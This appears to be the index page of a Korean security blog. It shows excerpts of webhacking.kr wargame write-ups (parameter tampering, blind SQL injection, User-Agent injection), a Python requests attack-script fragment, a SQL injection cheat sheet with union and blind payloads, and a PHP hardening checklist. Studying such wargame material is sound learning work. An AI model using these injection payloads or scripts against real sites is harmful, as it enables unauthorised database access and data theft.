본문 바로가기

분류 전체보기56

웹해킹 11번 (webhacking.kr old 11) 1. 공격 유형 : GET 파라메터 변조 2. 취약점 환경 : - 3. Write Up - $pat 변수는 정규표현식의 성질을 같는다 - preg_match는 정규표현식과 GET 파라메터 Val 값을 비교한다 - $pat 분석 1. [1-3] : 1~3 숫자 중 1개 2. [a~f]{5} : a~f 문자 중 5개 3. .*$_SERVER[REMOTE_ADDR].* : .*뒤에 0개 이상의 클라이언트 IP 문자열이 반복되며 .*에서 종료됨 4. \tp\ta\ts\ts : p a s s (탭) -> 탭을 URL 인코딩하면 %09가 된다 - Source 분석 1. 11-1.php : GET 파라메터 pay에 값을 11.php로 전달 2. 11.php : pay값을 fong에 저장하여 $pat과 정규식 비교 -.. 2019. 11. 8.
웹해킹 10번 (webhacking.kr old 10) 1. 공격 유형 : HTML 태그 변조 2. 취약점 환경 : Response 값 내 this.stylle.left 값 변경 3. Write Up ㅇ 코드분석 - onclick(마우스 선택시) this.style.left 값에 1px 전달 (parseint 값내 10은 10진수로 값을 받겠다는 의미임) - if(this.stype.left == '1600px' : this=href='?go=this.style.left (this.style.left 값이 1600일 경우 ?go=1600px 전송) ㅇ 공격 포인트 (response 값에서 this.style.left 값을 1600으로 변경!) 2019. 11. 1.
1. Python 웹 크롤링 (로그인, 세션유지, 공격코드 요청_POST/GET) import requests s = requests.Session() proxyList = {'http':'127.0.0.1:8000', 'https':'127.0.0.1:8000'} def login(): url = 'https://webhacking.kr/login.php?login' login = {'id':'계정명', 'pw':'패스워드'} response = s.post(url, data=login, proxies=proxyList, verify=False) response.status_code print (response.text) def payload(): login(); TrustKey = "Secret" ; code='' for i in range(1,20): url = "https://.. 2019. 10. 30.
웹해킹 9번 (webhacking.kr old 9) 1. 공격 유형 : BLIND SQL INJECTION 2. 취약점 환경 : no값에 BLIND SQL INJECTION 수행 3. Write Up ㅇ 공격 포인트 - No 3번의 id 컬럼이 DB에 존재한다고 추측 - No 3번의 id 컬럼을 확인하기 위해 SQL INJECTION 수행 ㅇ 공격 수행 - SQL 쿼리를 분석해보면 no 파라미터에 숫자를 전달하면 DB에서 해당 no의 id값을 출력해주는 형태로 no 3값의 id를 출력해야 하고 이를 진행하기 위해 if문 구조의 BLIND INJECTION 수행이 필요함 - BLIND INJECTION의 경우 반복으로 값을 요청해야하기 때문에 Python(3.x) 버전의 Reuqests를 이용하여 코드 공격 코드 생성 import requests s = r.. 2019. 10. 30.
1. COSO ERM For Cybersecurity https://www.csoonline.com/article/3227050/aligning-cybersecurity-strategy-and-performance-with-updated-coso-erm-guidance.html 2019. 10. 22.
2. SQL INJECTION CHEAT SHEET (SQL 인젝션) 1. ?bid=if(1=1,52,2) : select bid from board where bid=if(1=1,52,2); 2. ?bid=if((1)like(1),1,2)# : select if((1)like(1),1,2); : select instr(1,1); 3. ?bid=52 or bid=if((select(ascii(substr((select(bid)from(board)where(bid)like(52)),1,1))))=1,52,0) 4. ?bid=52 union select (1)# : select bid from board where bid=52 union select (1); 5. ?bid=52 union select (version())# : select bid from board where.. 2019. 10. 20.
웹해킹 8번 (webhacking old 8) 1. 공격 유형 : 파라메터 변조, SQL INJECTION 2. 취약점 환경 : Client Header값인 User_Agent 변조를 통해 SQL INJECTION 수행 3. Write Up ㅇ 코드 분석 - $agent에 trim(앞뒤 공백 제거)을 적용한 HTTP_USER_AGENT 값 선언 - $ip에 Client IP인 $_SERVER($REMOVE_ADDR) 값 선언 - $ip에 from 문자열 존재시 htmlspecialchars 함수가 적용된 $agent 문자열 표현 - $count_ck에 chall8 테이블 row수를 저장함 (count 함수 이용) - $count_ck 값이 70 이상일 경우 chall8 테이블 삭제 - chall8 테이블에서 addslashes함수를 적용하여 $_SE.. 2019. 10. 20.
1. PHP Security 1. PHP Version Update / Patch 2. Register_globals 3. Apache AddHandler 4. Prepared Statements 5. PDO 6. htmlentities, htmlspecialchars (&, "", '', ) 7. mysql_real_ecape_string : \x00, \n, \r, \, ', ", \x1a - x00 = 숫자 0을 의미 / \n Line Feed (다음줄) / \r Carriage Return (해당 줄의 맨 앞줄) / \x1a Ctrl+Z = EoF 8. addslashes : ', ", \, null 9. eval, exec, shell_exec, proc_open, popen, passthru 10. file, system.. 2019. 10. 20.
웹해킹 6번 (webhacking old 6) 1. 공격 유형 : 파라메터 변조, 역공학 2. 취약점 환경 : View Source의 PHP 코드를 역공학하여 인증값 입력 3. Write Up ㅇ 코드 해석 - $val_id, $val_pw 값을 각각 guest, 123qwe로 선언한 뒤 base64_encode 함수를 이용해 20번 인코딩 - 인코딩된 $val_id, $val_pw 각각의 변수를 str_replace 함수로 난독화 수행 - 난독화한 변수를 Setcookie를 이용하여 user, password에 입력함 - $decode_id, $decode_pw 변수에 난독화한 user, password값 선언 후 str_replace 함수로 복호화 수행 - 복호화된 $decode_id, $decode_pw 변수를 base64_decode 함수를 .. 2019. 10. 20.